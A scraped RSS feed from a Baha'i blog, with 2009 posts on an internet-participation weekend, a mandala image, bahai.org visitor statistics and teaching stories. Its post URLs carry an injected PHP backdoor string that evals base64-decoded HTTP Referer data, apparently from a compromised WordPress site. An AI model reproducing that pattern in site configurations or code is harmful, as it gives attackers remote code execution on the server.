Baha'i Views » Teaching http://www.bahaiviews.net Wed, 23 May 2012 22:57:34 +0000 en hourly 1 http://wordpress.org/?v=3.3.2 On a Baha’is on the Internet Bosch Weekend: And mandala meditation http://www.bahaiviews.net/2009/04/06/on-a-bahais-on-the-internet-bosch-weekend-and-mandala-meditation/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/04/06/on-a-bahais-on-the-internet-bosch-weekend-and-mandala-meditation/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 07 Apr 2009 04:23:02 +0000 george wesley dannells http://www.bahaiviews.net/?p=15275  Reserve Friday, May 15, 2009 4:00 PM – Sunday, May 17, 2009 12:30 PM

May 15-17
Baha’i Participation on the Internet
With Greg Fullmer, National Office of Communications, and staff from the Baha’i Internet Agency
4ac3e61beda64374973724bea71e9c25A weekend for webmasters, bloggers, Public Information Officers, or just individuals interested in Communications and the Internet. Led by the staff of the Baha’i National Center’s Office of Communications, this session will review recent guidance from the Bahá’í World Center pertaining to Bahá’í activity on the Internet and examine case studies and best practices for local community websites; teaching online; and blogs, social networking and other forms of individual initiative online.

Catch Glen Fullmer at Bosch in a little over a month.  BTW, this image looks like a blogger mandala, don’t ya think?  Below is another mandala worthy of meditation, evocative of microbial life, surely as mysterious as the Internet. And please note that it is 9-sided. -gw 

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263608091_f414503011_mThis mandala was generated from my anthropomorphic colored-ink drawing “vase”. The decorative squiggles in the lower part of that drawing have here morphed into what looks like an overhead view of a petri dish where various opague and transparent microbes are replicating. (In the center circle one can see mitosis taking place — single cells splitting into two. It occurs here because splitting one element into two is a normal part of the process I use to generate these kaleidoscopes.) … Mandalas imply meditation and microbes may, on first thought, seem an inappropriate subject for meditation. On further thought, however, meditating on microbial life has much to be said for it.

Image: Uploaded on October 7, 2006 by omnos on flickr, licensed under Creative Commons Attribution-No Derivative Works 2.0 Generic

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Bahai.org users come from these countries:

  • 26.2% United States
  • 14.0% Egypt
  • 10.1% China
  • 5.7% Iran
  • 4.0% India
  • 3.3% Australia
  • 3.2% Canada
  • 2.1% United Kingdom
  • 2.0% Germany
  • 1.9% Turkey
  • 1.6% Panama
  • 1.1% Italy
  • 1.1% Poland
  • 1.0% Morocco
  • 0.9% Slovenia
  • 0.8% United Arab Emirates
  • 0.8% Malaysia
  • 0.7% Kuwait
  • 0.5% France
  • 0.5% Portugal
  • 18.4% OTHER

http://www.alexa.com/siteinfo/http%3A%2F%2Fnews.bahai.org%2F

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With the help of the handy Anna’s Presentation, we gave this friend the message AND said a round of prayers, interspersed with music selections from the iPod. After telling a little bit about the story of the Bab and Anis who was martyred along with Him in Tabriz, I played this song. -gw


Tara Ellis – Anis from The Long Pilgrimage on Vimeo.

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images2059 People have participated in Direct Teaching!!!

We have had 59 people participate in direct teaching so far this cycle! This has resulted in 8 enrollments thus far, all of whom are receiving consistent follow-up home visits for the purpose of relating the deepening themes. Thanks to those of you in the field of action displaying your hard work! May blessings rain down upon you!

Ya-Baha’u’llabha!!

In news from the Triangle, teaching the Baha’i Faith directly can be surprising even to the teacher, as the following entry attests. -gw

She read along the quotes with me and was visibly moved by them and offered her understanding of what she read. During the presentation she seemed to be able to anticipate precisely the next point and offered her interpretation – it was as if she too had also learned these truths before I had a chance to say them. This alone was a very surreal experience and I have never had this happen before. I was at a loss for words and even had to take a moment to collect my thoughts as her interpretation of the quotes included the deeper meaning and were completely on target. By the time we finished the page about The Plight of Humanity, The Promise of This Day she said she said she wanted to become a member of the Baha’i Faith as she was moved to learn about the promise of this day. She signed her card and I continued to share Anna’s presentation until the end. Every time either she or I read a quote she was so physically impacted by the words that she could barely sit still and interrupted to share how confirming everything was! She was happy to learn about study classes and is eager to start this weekend.

http://triangleatc.blogspot.com/2009/03/teaching-story-from-dc.html

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3315629705_8192a140fcI am thinking about combining my love of design, art and architecture, with my love of kids and education. I am taking Ruhi book 5 this month, which is a training course in working with “junior youth” or kids in that sticky age just before becoming teenagers. I am stoked about it and think that this age group would be perfect for my idea. I want to develop an after school program for this age group in design, sustainable living and art. (some urban agriculture would be good too…) Somewhat like the mad science program…only design and living…and probably much smaller scale (at least to start…)

Anyways, the idea is to run after-school programs, and workshops for kids, and to be able to promote the stuff I love. I’m pretty stoked about it right now…and I’m writing about it because its on my mind, and because I am open to ideas, suggestions, references, networking…and all that jazz…I mean maybe it already exists and I just dont know about it…

http://mammacomic.blogspot.com/2009/03/art-design-education-and-dreams.html

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